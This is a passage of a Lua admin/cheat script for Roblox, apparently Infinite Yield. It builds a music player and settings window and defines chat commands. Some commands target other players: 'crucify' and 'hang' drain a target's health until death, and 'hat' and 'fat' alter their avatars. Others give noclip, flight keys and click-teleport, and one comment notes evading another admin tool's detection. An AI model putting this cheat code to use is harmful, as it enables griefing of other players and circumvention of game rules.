soundFrame22.AutoButtonColor = false soundFrame22.Image = "rbxassetid://304846479" soundFrame22.ImageColor3 = Color3.new(0.901961, 0.901961, 0.901961) return soundFrame end local soundFrame = createSoundFrame() soundFrame.Visible = true local MusicPlayer do MusicPlayer = {} local playlist = {} local currentSong = 1 local playlistHook = nil --local soundFrame = script.Parent:WaitForChild("Sound") local soundLine = soundFrame:WaitForChild("Pos") local soundTouch = soundLine:WaitForChild("Touch") local soundPlayStop = soundFrame:WaitForChild("PlayStop") local soundPause = soundFrame:WaitForChild("Pause") local soundNext = soundFrame:WaitForChild("NextSong") local soundPrev = soundFrame:WaitForChild("PrevSong") local soundButtons = {soundPlayStop,soundPause,soundNext,soundPrev} local mouseDrag = false local mouse = gPlayers.LocalPlayer:GetMouse() local lineBar = soundFrame:WaitForChild("Pos") adminSound = Instance.new("Sound",workspace) adminSound.Name = "IYsound" adminSound.Looped = true local function timeConvert(num) local mins = math.floor(num/60) local secs = math.floor(num % 60) return tostring(mins)..":"..(math.floor(secs/10)==0 and "0" or "")..tostring(secs) end local function updateSongLine() local linePos = mouse.X - soundLine.AbsolutePosition.X if linePos >= 0 and linePos <= soundLine.AbsoluteSize.X then local movePos = linePos/soundLine.AbsoluteSize.X soundTouch.Position = UDim2.new(movePos,0,0,0) elseif linePos < 0 then soundTouch.Position = UDim2.new(0,0,0,0) else soundTouch.Position = UDim2.new(1,0,0,0) end local newTimePos = soundTouch.Position.X.Scale * adminSound.TimeLength adminSound.TimePosition = newTimePos soundFrame.TimeStart.Text = timeConvert(newTimePos) soundFrame.TimeEnd.Text = timeConvert(adminSound.TimeLength) end local function updateDetails(id) local info = game:GetService("MarketplaceService"):GetProductInfo(id) soundFrame.SName.Text = info.Name end local function setPlaylistHook() if playlistHook then playlistHook:Disconnect() playlistHook = nil end if #playlist == 0 then return end playlistHook = adminSound.DidLoop:connect(function() if currentSong == #playlist then currentSong = 1 else currentSong = currentSong + 1 end soundFrame.PlaylistCount.Text = tostring(currentSong).."/"..tostring(#playlist) MusicPlayer:Play(playlist[currentSong],true) end) end local function disconnectPlaylistHook() if playlistHook then playlistHook:disconnect() playlistHook = nil end end game:GetService("RunService").RenderStepped:Connect(function() if adminSound.Playing then soundTouch.Position = UDim2.new(adminSound.TimePosition/adminSound.TimeLength,0,0,0) soundFrame.TimeStart.Text = timeConvert(adminSound.TimePosition) soundFrame.TimeEnd.Text = timeConvert(adminSound.TimeLength) end end) lineBar.InputBegan:connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 then mouseDrag = true updateSongLine() end end) lineBar.InputEnded:connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 then mouseDrag = false end end) mouse.Move:connect(function(prop) if mouseDrag then updateSongLine() end end) function MusicPlayer:Play(id,plist) if not plist then playlist = {} disconnectPlaylistHook() soundFrame.PlaylistCount.Visible = false soundFrame.NextSong.Visible = false soundFrame.PrevSong.Visible = false end adminSound:Stop() if adminSound.Parent == nil then adminSound = Instance.new("Sound",workspace) adminSound.Name = "IYsound" adminSound.Looped = true if plist then setPlaylistHook() end end adminSound.SoundId = "rbxassetid://"..tostring(id) adminSound.TimePosition = 0 --repeat wait() until adminSound.IsLoaded adminSound:Play() soundPlayStop.BackgroundTransparency = 0 soundPlayStop.ImageTransparency = 1 updateDetails(id) end function MusicPlayer:Playlist(list) playlist = list soundFrame.PlaylistCount.Visible = true soundFrame.NextSong.Visible = true soundFrame.PrevSong.Visible = true currentSong = 1 if adminSound.Parent == nil then adminSound = Instance.new("Sound",workspace) adminSound.Name = "IYsound" adminSound.Looped = true end soundFrame.PlaylistCount.Text = "1/"..tostring(#playlist) MusicPlayer:Play(playlist[1],true) setPlaylistHook() end function MusicPlayer:Stop() adminSound:Stop() adminSound.TimePosition = 0 soundTouch.Position = UDim2.new(0,0,0,0) soundFrame.TimeStart.Text = "0:00" soundPlayStop.BackgroundTransparency = 1 soundPlayStop.ImageTransparency = 0 end function MusicPlayer:Pause() adminSound:Pause() soundPlayStop.BackgroundTransparency = 1 soundPlayStop.ImageTransparency = 0 end function MusicPlayer:Resume() adminSound:Resume() soundPlayStop.BackgroundTransparency = 0 soundPlayStop.ImageTransparency = 1 setPlaylistHook() end function MusicPlayer:NextSong() if #playlist == 0 then return end if currentSong == #playlist then currentSong = 1 else currentSong = currentSong + 1 end soundFrame.PlaylistCount.Text = tostring(currentSong).."/"..tostring(#playlist) MusicPlayer:Play(playlist[currentSong],true) end function MusicPlayer:PrevSong() if #playlist == 0 then return end if currentSong == 1 then currentSong = #playlist else currentSong = currentSong - 1 end soundFrame.PlaylistCount.Text = tostring(currentSong).."/"..tostring(#playlist) MusicPlayer:Play(playlist[currentSong],true) end function MusicPlayer:SetSong(ind) if ind > #playlist or ind <= 0 then return end soundFrame.PlaylistCount.Text = tostring(ind).."/"..tostring(#playlist) MusicPlayer:Play(playlist[ind],true) end playerenabled = false function MusicPlayer:Show() soundFrame:TweenPosition(UDim2.new(0.5,-350,0,-72),Enum.EasingDirection.Out,Enum.EasingStyle.Quart,0.5,true) end function MusicPlayer:Hide() soundFrame:TweenPosition(UDim2.new(0.5,-350,0,-150),Enum.EasingDirection.Out,Enum.EasingStyle.Quart,0.5,true) end function colorFrames(obj,col) for i,v in pairs(obj:GetChildren()) do if v:IsA("ImageLabel") then v.ImageColor3 = col end v.BackgroundColor3 = col end end for i,v in pairs(soundButtons) do v.MouseEnter:connect(function() if v:IsA("ImageButton") then v.ImageColor3 = Color3.new(1,1,1) end if v:IsA("TextButton") then v.TextColor3 = Color3.new(1,1,1) end v.BackgroundColor3 = Color3.new(1,1,1) colorFrames(v,Color3.new(1,1,1)) end) v.MouseLeave:connect(function() if v:IsA("ImageButton") then v.ImageColor3 = Color3.new(230/255, 230/255, 230/255) end if v:IsA("TextButton") then v.TextColor3 = Color3.new(230/255, 230/255, 230/255) end v.BackgroundColor3 = Color3.new(230/255, 230/255, 230/255) colorFrames(v,Color3.new(230/255, 230/255, 230/255)) end) end soundPlayStop.MouseButton1Click:connect(function() if adminSound.Playing then MusicPlayer:Stop() else MusicPlayer:Resume() end end) soundPause.MouseButton1Click:connect(function() MusicPlayer:Pause() end) soundNext.MouseButton1Click:connect(MusicPlayer.NextSong) soundPrev.MouseButton1Click:connect(MusicPlayer.PrevSong) end local testgui = Instance.new("ScreenGui",game.CoreGui) soundFrame.Parent = testgui addcmd('playlist','makes a noice playlist',{'ids'}, function(args, speaker) playerenabled = true if #args > 0 then local function dels(instance) for i,v in pairs(instance:GetChildren())do if v:IsA'Sound'then v:Destroy()end dels(v) end end dels(workspace) wait(0.1) if adminSound.Parent == nil then adminSound = Instance.new("Sound",workspace) adminSound.Name = "IYsound" adminSound.Looped = true end local idlist = splitString(args[1]) local workingIds = {} for i,v in pairs(idlist) do if tonumber(v) then table.insert(workingIds,tonumber(v)) end end if #workingIds > 0 then playerenabled = true NOTIFY.NOTIFY:TweenPosition(UDim2.new(0,0,0,-100), "InOut", "Quart", 0.5, true, nil) MusicPlayer:Playlist(workingIds) MusicPlayer:Show() if qopen == true then quickmenu.sheild.cmds:TweenPosition(UDim2.new(0, 50, 0, -50), "InOut", "Quart", 0.5, true, nil) wait(0.01) quickmenu.sheild.settings:TweenPosition(UDim2.new(0, 146, 0, -50), "InOut", "Quart", 0.5, true, nil) wait(0.01) quickmenu.sheild.updates:TweenPosition(UDim2.new(0, 220, 0, -50), "InOut", "Quart", 0.5, true, nil) wait(0.01) quickmenu.sheild.info:TweenPosition(UDim2.new(0, 290, 0, -50), "InOut", "Quart", 0.5, true, nil) wait(0.01) quickmenu.sheild.mix:TweenPosition(UDim2.new(0, 340, 0, -50), "InOut", "Quart", 0.5, true, nil) wait(0.01) qopen = false end end else MusicPlayer:Show() NOTIFY.NOTIFY:TweenPosition(UDim2.new(0,0,0,-100), "InOut", "Quart", 0.5, true, nil) if qopen == true then quickmenu.sheild.cmds:TweenPosition(UDim2.new(0, 50, 0, -50), "InOut", "Quart", 0.5, true, nil) wait(0.01) quickmenu.sheild.settings:TweenPosition(UDim2.new(0, 146, 0, -50), "InOut", "Quart", 0.5, true, nil) wait(0.01) quickmenu.sheild.updates:TweenPosition(UDim2.new(0, 220, 0, -50), "InOut", "Quart", 0.5, true, nil) wait(0.01) playerenabled = true quickmenu.sheild.info:TweenPosition(UDim2.new(0, 290, 0, -50), "InOut", "Quart", 0.5, true, nil) wait(0.01) quickmenu.sheild.mix:TweenPosition(UDim2.new(0, 340, 0, -50), "InOut", "Quart", 0.5, true, nil) wait(0.01) qopen = false end end end) addcmd('sound', 'plays a sound',{'music','play'}, function(args, speaker) if isNumber(args[1]) then local function dels(instance) for i,v in pairs(instance:GetChildren())do if v:IsA'Sound'then v:Destroy()end dels(v) end end dels(workspace) local c = args[1] or 'stop' if std.inTable({'stop'}, c:lower()) then return end local s = Instance.new("Sound", workspace) s.Name = "IYsound" s.Looped = true s.SoundId = "rbxassetid://" .. c s.Volume = 1 s:Play() local Asset = game:GetService("MarketplaceService"):GetProductInfo(c) playerenabled = false Notify('Playing: '..Asset.Name..' ('..c..')') else local name = GLS(false, 0) playerenabled = false Notify('Stopped audio') local function dels(instance) for i,v in pairs(instance:GetChildren())do if v:IsA'Sound'then v:Destroy()end dels(v) end end dels(workspace) if args[1] ~= "stop" and args[1] ~= "off" then local song = game:HttpGet("https://search.roblox.com/catalog/json?CatalogContext=2&SortAggregation=5&LegendExpanded=true&Category=9&Keyword=" .. name, true) if song ~= "[]" then local Sound = Instance.new("Sound", workspace) Sound.Name = "IYsound" song = song:sub(13) song = song:sub(1, song:find(",") - 1) Sound.SoundId = "rbxassetid://" .. song Sound.Looped = true Sound.Volume = 1 Sound:Play() local Asset = game:GetService("MarketplaceService"):GetProductInfo(song) Notify('Playing: '..Asset.Name ..' ('..song.. ')') end end end end) addcmd('setsong','goto a song',{'tosong'}, function(args, speaker) MusicPlayer:SetSong(tonumber(args[1])) end) addcmd('nextsong','forward a song',{'nxtsong'}, function(args, speaker) MusicPlayer:NextSong() end) addcmd('prevsong','back a song',{'previoussong'}, function(args, speaker) MusicPlayer:PrevSong() end) addcmd('hideplaylist','back a song',{'unplayer','noplayer','hideplayer'}, function(args, speaker) playerenabled = false MusicPlayer:Hide() NOTIFY.NOTIFY:TweenPosition(UDim2.new(0, 0, 0, -38), "InOut", "Quart", 0.5, true, nil) end) addcmd('disco','disco party',{''}, function(args, speaker) _G.nodisco = nil coroutine.resume(coroutine.create(function() repeat game:GetService('Lighting').GlobalShadows = true game:GetService('Lighting').FogEnd = 200 game:GetService('Lighting').TimeOfDay = 0 local r = 255 local g = 0 local b = 0 for i = 0,255,5 do if _G.nodisco ~=nil then return end r = r - 5 b = b + 5 game:GetService('Lighting').Ambient = Color3.fromRGB(r,g,b) game:GetService('Lighting').OutdoorAmbient = Color3.fromRGB(r,g,b) game:GetService('Lighting').FogColor = Color3.fromRGB(r,g,b) wait() end for i = 0,255,5 do if _G.nodisco ~=nil then return end g = g + 5 game:GetService('Lighting').Ambient = Color3.fromRGB(r,g,b) game:GetService('Lighting').OutdoorAmbient = Color3.fromRGB(r,g,b) game:GetService('Lighting').FogColor = Color3.fromRGB(r,g,b) wait() end for i = 0,255,5 do if _G.nodisco ~=nil then return end b = b - 5 game:GetService('Lighting').Ambient = Color3.fromRGB(r,g,b) game:GetService('Lighting').OutdoorAmbient = Color3.fromRGB(r,g,b) game:GetService('Lighting').FogColor = Color3.fromRGB(r,g,b) wait() end for i = 0,255,5 do if _G.nodisco ~=nil then return end r = r + 5 game:GetService('Lighting').Ambient = Color3.fromRGB(r,g,b) game:GetService('Lighting').OutdoorAmbient = Color3.fromRGB(r,g,b) game:GetService('Lighting').FogColor = Color3.fromRGB(r,g,b) wait() end for i = 0,255,5 do if _G.nodisco ~=nil then return end g = g - 5 game:GetService('Lighting').Ambient = Color3.fromRGB(r,g,b) game:GetService('Lighting').OutdoorAmbient = Color3.fromRGB(r,g,b) game:GetService('Lighting').FogColor = Color3.fromRGB(r,g,b) wait() end until _G.nodisco end)) end) addcmd('undisco','rip disco party',{''}, function(args, speaker) _G.nodisco = true execCmd('fixl') end) addcmd('hat','give a hat to a player',{''}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do local char = gPlayers[v].Character local Hat = game:GetObjects("rbxassetid://" .. args[2])[1] Hat.Parent = char end end) fm = Instance.new('BlockMesh', DATA) fm.Scale = Vector3.new(1, 1, 2) fm.Name = "FAT" addcmd('fat','makes a plr fat',{''}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do local char = gPlayers[v].Character for _, child in pairs( char:GetChildren()) do if child.ClassName == "CharacterMesh" then child:Destroy() end end for i,v in pairs(char:GetChildren()) do if v:IsA('Part') and v.Name ~= 'HumanoidRootPart' then fm:Clone().Parent = v end end end end) addcmd('crucify','crucifies a player',{'cruci'}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do local char = gPlayers[v].Character local torso=char['Torso'] local larm=char['Left Arm'] local rarm=char['Right Arm'] local lleg=char['Left Leg'] local rleg=char['Right Leg'] local head=char['Head'] if torso and larm and rarm and lleg and rleg and head and not char:FindFirstChild(char.Name..'epixcrusify') then local cru=Instance.new('Model',char) cru.Name=char.Name..'epixcrusify' -- Leave it like that so it bypasses epixcommands ;) local c1=Instance.new('Part',cru) c1.BrickColor=BrickColor.new('Reddish brown') c1.Material='Wood' c1.CFrame=(char.Torso.CFrame-char.Torso.CFrame.lookVector)*CFrame.new(0,0,2) c1.Size=Vector3.new(2,18.4,1) c1.Anchored=true local c2=c1:Clone() c2.Parent=cru c2.Size=Vector3.new(11,1.6,1) c2.CFrame=c1.CFrame+Vector3.new(0,5,0) torso.Anchored=true;wait(0.5) torso.CFrame=c2.CFrame+torso.CFrame.lookVector+Vector3.new(0,-1,0);wait(0.5) larm.Anchored=true rarm.Anchored=true lleg.Anchored=true rleg.Anchored=true head.Anchored=true;wait() larm.CFrame=torso.CFrame*CFrame.new(-1.5,1,0) rarm.CFrame=torso.CFrame*CFrame.new(1.5,1,0) lleg.CFrame=torso.CFrame*CFrame.new(-0.1,-1.7,0) rleg.CFrame=torso.CFrame*CFrame.new(0.1,-1.7,0) larm.CFrame=larm.CFrame*CFrame.Angles(0,0,-140) rarm.CFrame=rarm.CFrame*CFrame.Angles(0,0,140) lleg.CFrame=lleg.CFrame*CFrame.Angles(0,0,0.6) rleg.CFrame=rleg.CFrame*CFrame.Angles(0,0,-0.6) --head.CFrame=head.CFrame*CFrame.Angles(0,0,0.3) local n1=Instance.new('Part',cru) n1.BrickColor=BrickColor.new('Dark stone grey') n1.Material='DiamondPlate' n1.Size=Vector3.new(0.2,0.2,2) n1.Anchored=true local m=Instance.new('BlockMesh',n1) m.Scale=Vector3.new(0.2,0.2,0.7) local n2=n1:Clone() n2.Parent=cru local n3=n1:Clone() n3.Parent=cru n1.CFrame=(c2.CFrame+torso.CFrame.lookVector)*CFrame.new(2,0,0) n2.CFrame=(c2.CFrame+torso.CFrame.lookVector)*CFrame.new(-2,0,0) n3.CFrame=(c2.CFrame+torso.CFrame.lookVector)*CFrame.new(0,-3,0) spawn(function() repeat wait(0.1) char.Humanoid.Health=char.Humanoid.Health-0.6 until (not cru) or (not cru.Parent) or (not v) or (not char) or (not char:FindFirstChild('Head')) or char.Humanoid.Health<=0 char:BreakJoints() end) end end end) addcmd('hang','hangs a player',{}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do local plr = gPlayers[v].Character plr.HumanoidRootPart.Anchored = true hang = game:GetObjects("rbxassetid://01355025338")[1] hang.Parent = plr hang:MoveTo(plr.Torso.Position-Vector3.new(0,0,5)) pcall(function() plr.HumanoidRootPart.CFrame = hang.main.CFrame function weld(p, cf) local weld1 = Instance.new("Weld") weld1.Part0 = p weld1.Part1 = plr.Torso weld1.C0 = CFrame.new() weld1.C1 = cf weld1.Parent = p end weld(plr["Right Arm"], CFrame.new(0.8,0.3,-0.6) * CFrame.Angles(0, 0.5, 4)) weld(plr["Left Arm"], CFrame.new(-0.8,0.3,-0.6) * CFrame.Angles(0, -0.5, -4)) spawn(function() repeat wait(0.1) plr.Humanoid.Health=plr.Humanoid.Health-0.6 until (not hang) or (not hang.Parent) or (not v) or (not plr) or (not plr:FindFirstChild('Head')) or plr.Humanoid.Health<=0 plr:BreakJoints() end) end) end end) addcmd('fix', 'restores lighting and what not',{}, function(args, speaker) LightingService.Ambient = origsettings.abt LightingService.OutdoorAmbient = origsettings.oabt LightingService.Brightness = origsettings.brt LightingService.TimeOfDay = origsettings.time LightingService.FogColor = origsettings.fclr LightingService.FogEnd = origsettings.fe LightingService.FogStart = origsettings.fs workspace.Gravity = 200 local function dels(instance) for i,v in pairs(instance:GetChildren())do if v:IsA'Sound'then v:Destroy()end dels(v) end end dels(workspace) for i,v in pairs(LightingService:GetChildren()) do if v:IsA('Sky') then v:Remove() end end for i,v in pairs(game:GetService("Lighting"):GetChildren()) do if v:IsA("PostEffect") then v:Destroy() end end for i,v in pairs(workspace.Terrain:GetChildren()) do v:Remove() Notify('Reset') end end) Floating = false addcmd('float', 'makes player float',{}, function(args,speaker) Floating = true local players = getPlayer(args[1], speaker) for _,v in pairs(players) do local pchar = gPlayers[v].Character if gPlayers[v] and pchar and not pchar:FindFirstChild("Float") then spawn(function() local float = DATA.Float:Clone() float.Parent = pchar float.CFrame = pchar.HumanoidRootPart.CFrame * CFrame.new(0,-3.5,0) spawn(function() while wait(0.1) do if pchar:FindFirstChild("Float") then float.CFrame = pchar.HumanoidRootPart.CFrame * CFrame.new(0,-3.5,0) else break end end end) end) end end end) addcmd('unfloat','disables floating',{}, function(args, speaker) Floating = false local players = getPlayer(args[1], speaker) for i,v in pairs(players)do local pchar = gPlayers[v].Character if pchar:FindFirstChild("Float") then pchar.Float:Destroy() end end end) Clip = true addcmd('noclip','noclip',{}, function(args, speaker) if speaker.userId ~= LP.userId then lponly(speaker) else Notify('Noclip enabled') Clip = false if LP.Character:FindFirstChild('Torso') then wait(0.1) Name = LP.Name game:GetService('RunService').Stepped:connect(function () workspace[Name].Torso.CanCollide = Clip workspace[Name].Head.CanCollide = Clip end) workspace[Name].Torso.Changed:connect(function() workspace[Name].Torso.CanCollide = Clip workspace[Name].Head.CanCollide = Clip end) else r15noclip = true end end end) addcmd('clip','clip',{}, function(args, speaker) Notify('Noclip disabled') Clip = true r15noclip = false end) addcmd('prefix','changes prefix',{}, function(args, speaker) cmdprefix = args[1] Notify('Set prefix to "' .. args[1] .. '"') updatefile() end) addcmd('respawn','respawns',{}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players) do respawn(gPlayers[v]) end end) addcmd('version','shows version',{''}, function(args, speaker) if speaker.userId ~= LP.userId then lponly(speaker) else Notify("Version is " .. Version) end end) local CTPenabled = false Mouse.KeyDown:connect(function (Key) if Key:byte() == 29 then if FLYING == false then execCmd("fly me", Player) elseif FLYING == true then execCmd("unfly me", Player) end end if Key:byte() == 30 then if Clip == true then execCmd("noclip", Player) elseif Clip == false then execCmd("clip", Player) end end Key = Key:lower() if Key:byte() == 27 then CTPenabled = true end end) Mouse.KeyUp:connect(function(Key) Key = Key:lower() if Key:byte() == 27 then CTPenabled = false end end) Mouse.Button1Down:connect(function() local charx = gPlayers.LocalPlayer.Character if charx and CTPenabled == true then charx.HumanoidRootPart.CFrame = Mouse.Hit + Vector3.new(0,7,0) end end) ------------------- ----Command bar---- ------------------- CMDbar = Instance.new('ScreenGui', game.CoreGui) CMDbar.Name = 'GUI' CMDbar.DisplayOrder = 2 cont = Instance.new("Frame") cmdBAR = Instance.new('TextBox', cont) cont.Name = "cont" cont.BackgroundTransparency = 1 cont.Position = UDim2.new(1, -265, 0, -75) cont.Size = UDim2.new(0, 270, 0, 45) cont.Parent = CMDbar cont.ZIndex = 5 cont.Active = true cont.Draggable = true cmdBAR.Name = "CMDbar" cmdBAR.Parent = cont cmdBAR.BackgroundColor3 = Color3.new(0.0666667, 0.0666667, 0.0666667) cmdBAR.BackgroundTransparency = 0.7 cmdBAR.BorderColor3 = Color3.new(0.972549, 0.972549, 0.972549) cmdBAR.BorderSizePixel = 0 cmdBAR.Position = UDim2.new(0, 10, 1, -35) cmdBAR.Size = UDim2.new(0, 250, 0, 25) cmdBAR.Font = Enum.Font.SourceSans cmdBAR.FontSize = Enum.FontSize.Size18 cmdBAR.Text = 'Press ' ..cmdbarbind.. ' to focus the cmd bar' cmdBAR.TextColor3 = Color3.new(0.972549, 0.972549, 0.972549) cmdBAR.ZIndex = 5 ------------------- ----Data Folder---- ------------------- DATA = Instance.new('Folder', game.ContextActionService) DATA.Name = 'Data' Paper = Instance.new('BlockMesh', DATA) Paper.Name = 'Paper' Paper.Scale = Vector3.new(1,1,0.1) ayylmao = Instance.new('Hat', DATA) ayylmao.Name = 'ayylmao' ayyHandle = Instance.new('Part', ayylmao) ayyHandle.Name = 'Handle' ayyHandle.Size = Vector3.new(2,2.4,2) ayyHandle.FormFactor = 'Plate' ayyMesh = Instance.new('SpecialMesh', ayyHandle) ayyMesh.Scale = Vector3.new(1,1.02,1) ayyMesh.MeshType = 'FileMesh' ayyMesh.MeshId = 'http://www.roblox.com/asset/?id=13827689' ayyMesh.TextureId = 'http://www.roblox.com/asset/?id=13827796' Float = Instance.new('Part', DATA) Float.Name = 'Float' Float.Transparency = 1 Float.Size = Vector3.new(6,1,6) Float.Anchored = true function C3(R, G, B) return Color3.new(R/255, G/255, B/255) end missile = Instance.new('Part', DATA) missile.Name = 'IY_missile' missile.CanCollide = false missile.Size = Vector3.new(2, 5, 2) Instance.new('CylinderMesh', missile) local F = Instance.new('Part', missile) F.BrickColor = BrickColor.new('Black') F.CanCollide = false F.Size = Vector3.new(2, 0.2, 2) Instance.new('CylinderMesh', F) local fire = Instance.new('Fire', F) fire.Size = "15" fire.Heat = "25" local head = Instance.new('Part', missile) head.CanCollide = false head.Shape = 'Ball' head.Size = Vector3.new(2, 2, 2) head.TopSurface = 'Smooth' head.BottomSurface = 'Smooth' local BF = Instance.new('BodyForce', missile) BF.Name = 'force' BF.Force = Vector3.new(0, 0, 0) local W1 = Instance.new('Weld', missile) W1.Part0 = missile W1.Part1 = F W1.C1 = CFrame.new(0, 2.6, 0) local W2 = Instance.new('Weld', missile) W2.Part0 = missile W2.Part1 = head W2.C1 = CFrame.new(0, -2.6, 0) jail = Instance.new('Model', DATA) jail.Name = 'JAIL' local B = Instance.new('Part', jail) B.Name = 'BUTTOM' B.BrickColor = BrickColor.new('Black') B.Transparency = 0.5 B.Anchored = true B.Locked = true B.Size = Vector3.new(6, 1, 6) B.TopSurface = 'Smooth' B.BottomSurface = 'Smooth' local M = Instance.new('Part', jail) M.Name = 'MAIN' M.BrickColor = BrickColor.new('Black') M.Transparency = 1 M.Anchored = true M.CanCollide = false M.Locked = true M.Position = B.Position + Vector3.new(0, 3, 0) M.Size = Vector3.new(1, 1, 1) local P1 = Instance.new('Part', jail) P1.BrickColor = BrickColor.new('Black') P1.Transparency = 0.5 P1.Position = B.Position + Vector3.new(0, 3.5, -2.5) P1.Rotation = Vector3.new(0, 90, 0) P1.Anchored = true P1.Locked = true P1.Size = Vector3.new(1, 6, 6) local P2 = Instance.new('Part', jail) P2.BrickColor = BrickColor.new('Black') P2.Transparency = 0.5 P2.Position = B.Position + Vector3.new(-2.5, 3.5, 0) P2.Rotation = Vector3.new(-180, 0, -180) P2.Anchored = true P2.Locked = true P2.Size = Vector3.new(1, 6, 4) local P3 = Instance.new('Part', jail) P3.BrickColor = BrickColor.new('Black') P3.Transparency = 0.5 P3.Position = B.Position + Vector3.new(2.5, 3.5, 0) P3.Rotation = Vector3.new(0, 0, 0) P3.Anchored = true P3.Locked = true P3.Size = Vector3.new(1, 6, 4) local P4 = Instance.new('Part', jail) P4.BrickColor = BrickColor.new('Black') P4.Transparency = 0.5 P4.Position = B.Position + Vector3.new(0, 3.5, 2.5) P4.Rotation = Vector3.new(0, 90, 0) P4.Anchored = true P4.Locked = true P4.Size = Vector3.new(1, 6, 6) local TOP = Instance.new('Part', jail) TOP.BrickColor = BrickColor.new('Black') TOP.Transparency = 0.5 TOP.Position = B.Position + Vector3.new(0, 7, 0) TOP.Rotation = Vector3.new(0, 0, 0) TOP.Anchored = true TOP.Locked = true TOP.Size = Vector3.new(6, 1, 6) TOP.TopSurface = 'Smooth' TOP.BottomSurface = 'Smooth' ------------------------------ ---Commands/Settings Window--- ------------------------------ cp = Instance.new("ScreenGui") local Frame = Instance.new("Frame") local holder = Instance.new("Frame") bar = Instance.new("Frame") local cmds = Instance.new("TextButton") local settings = Instance.new("TextButton") local Hide = Instance.new("TextButton") local Exit = Instance.new("TextButton") FeedbackMain = Instance.new("Frame") local Title = Instance.new("TextLabel") local checkboxText = Instance.new("TextLabel") local CheckBox = Instance.new("ImageButton") local bindInput = Instance.new("TextButton") Input = Instance.new("TextBox") local preText = Instance.new("TextLabel") local setpre = Instance.new("TextButton") local everyone = Instance.new("TextButton") local JLtext = Instance.new("TextLabel") local CheckBoxJL = Instance.new("ImageButton") local friends = Instance.new("TextButton") local InputBox = Instance.new("TextButton") Input_2 = Instance.new("TextBox") local MTText = Instance.new("TextLabel") local setMT = Instance.new("TextButton") local CheckBoxS = Instance.new("ImageButton") local slocktext = Instance.new("TextLabel") local barBind = Instance.new("TextLabel") local setBind = Instance.new("TextButton") local MtimeInput = Instance.new("TextButton") Input_3 = Instance.new("TextBox") local size = Instance.new("Frame") MAIN = Instance.new("Frame") local Title_2 = Instance.new("TextLabel") local Example = Instance.new("TextLabel") local Search = Instance.new("TextBox") local CMDss = Instance.new("ScrollingFrame") cp.Name = "cp" cp.Parent = DATA Frame.Parent = cp Frame.Active = true Frame.BackgroundColor3 = Color3.new(1, 1, 1) Frame.BackgroundTransparency = 1 Frame.Draggable = true Frame.Position = UDim2.new(1, -300, 1, -330) Frame.Size = UDim2.new(0, 300, 0, 40) holder.Name = "holder" holder.Parent = Frame holder.BackgroundColor3 = Color3.new(1, 1, 1) holder.BackgroundTransparency = 1 holder.BorderSizePixel = 2 holder.ClipsDescendants = true holder.Size = UDim2.new(0, 300, 0, 330) holder.ZIndex = 2 bar.Name = "bar" bar.Parent = holder bar.BackgroundColor3 = maincolor bar.BackgroundTransparency = 0.30000001192093 bar.BorderColor3 = Color3.new(0, 0, 0) bar.BorderSizePixel = 0 bar.Position = UDim2.new(1, -295, 1, -330) bar.Size = UDim2.new(0, 290, 0, 26) cmds.Name = "cmds" cmds.Parent = bar cmds.BackgroundColor3 = Color3.new(0, 0, 0) cmds.BackgroundTransparency = 0.80000001192093 cmds.BorderColor3 = Color3.new(1, 1, 1) cmds.Position = UDim2.new(0, 3, 0, 3) cmds.Size = UDim2.new(0, 70, 0, 20) cmds.Font = Enum.Font.SourceSans cmds.FontSize = Enum.FontSize.Size14 cmds.Text = "Commands" cmds.TextColor3 = Color3.new(1, 1, 1) settings.Name = "settings" settings.Parent = bar settings.BackgroundColor3 = Color3.new(0, 0, 0) settings.BackgroundTransparency = 0.80000001192093 settings.BorderColor3 = Color3.new(1, 1, 1) settings.Position = UDim2.new(0, 77, 0, 3) settings.Size = UDim2.new(0, 70, 0, 20) settings.Font = Enum.Font.SourceSans settings.FontSize = Enum.FontSize.Size14 settings.Text = "Settings" settings.TextColor3 = Color3.new(1, 1, 1) Hide.Name = "Hide" Hide.Parent = bar Hide.BackgroundColor3 = Color3.new(1, 1, 1) Hide.BackgroundTransparency = 0.30000001192093 Hide.BorderColor3 = Color3.new(1, 1, 1) Hide.BorderSizePixel = 0 Hide.Position = UDim2.new(0, 243, 0, 3) Hide.Size = UDim2.new(0, 20, 0, 20) Hide.FontSize = Enum.FontSize.Size14 Hide.Text = "" Exit.Name = "Exit" Exit.Parent = bar Exit.BackgroundColor3 = Color3.new(1, 0, 0) Exit.BackgroundTransparency = 0.30000001192093 Exit.BorderColor3 = Color3.new(1, 0, 0) Exit.BorderSizePixel = 0 Exit.Position = UDim2.new(0, 267, 0, 3) Exit.Size = UDim2.new(0, 20, 0, 20) Exit.FontSize = Enum.FontSize.Size14 Exit.Text = "" FeedbackMain.Name = "FeedbackMain" FeedbackMain.Parent = holder FeedbackMain.BackgroundColor3 = maincolor FeedbackMain.BackgroundTransparency = 0.5 FeedbackMain.BorderColor3 = Color3.new(0, 0, 0) FeedbackMain.BorderSizePixel = 0 FeedbackMain.Position = UDim2.new(1.01999998, -301, 1.0181818, -310) FeedbackMain.Size = UDim2.new(0, 290, 0, 300) Title.Name = "Title" Title.Parent = FeedbackMain Title.BackgroundColor3 = Color3.new(1, 1, 1) Title.BackgroundTransparency = 1 Title.Size = UDim2.new(1, 0, 0, 30) Title.Font = Enum.Font.SourceSansBold Title.FontSize = Enum.FontSize.Size24 Title.Text = "Settings" Title.TextColor3 = Color3.new(0.980392, 0.980392, 0.980392) checkboxText.Name = "checkboxText" checkboxText.Parent = FeedbackMain checkboxText.BackgroundColor3 = Color3.new(1, 1, 1) checkboxText.BackgroundTransparency = 1 checkboxText.Position = UDim2.new(0, 0, 0, 40) checkboxText.Size = UDim2.new(1, 0, 0, 30) checkboxText.Font = Enum.Font.SourceSansBold checkboxText.FontSize = Enum.FontSize.Size18 checkboxText.Text = "Suggestions" checkboxText.TextColor3 = Color3.new(0.980392, 0.980392, 0.980392) CheckBox.Name = "CheckBox" CheckBox.Parent = FeedbackMain CheckBox.BackgroundTransparency = 1 CheckBox.Position = UDim2.new(0, 10, 0, 40) CheckBox.Size = UDim2.new(0, 30, 0, 30) CheckBox.Image = "http://www.roblox.com/asset/?id=65492641" bindInput.Name = "bindInput" bindInput.Parent = FeedbackMain bindInput.BackgroundColor3 